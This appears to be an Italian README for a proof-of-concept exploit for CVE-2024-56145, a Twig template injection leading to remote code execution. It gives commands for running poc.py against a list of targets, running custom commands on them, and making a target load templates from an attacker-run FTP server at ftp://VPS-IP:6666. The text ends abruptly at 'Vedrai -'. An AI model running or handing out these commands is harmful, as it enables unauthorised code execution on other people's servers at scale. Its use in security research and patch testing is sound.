
CVE-2024-56145 SSTI verso RCE - template Twig
fuser -k 6666/tcp
python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200
Si può usare un comando personalizzato come python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami"
-i è il tuo IP o l'IP del tuo VPS (ottienilo con ipconfig / ifconfig).
Esempio - python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200
E ora? Hai un target vulnerabile ma vuoi giocare ancora? Ho aggiunto poc2.py per il test manuale contro il target. Come si fa?
esegui fuser -k 6666/tcp
1. Esegui poc2.py (la porta 6666 si avvia come FTP).
2. Apri il browser all'indirizzo yourtarget.com/?--templatesPath=ftp://VPS-IP:6666/
3. Vedrai -

Scritto da Chirag Artani (https://x.com/Chirag99Artani)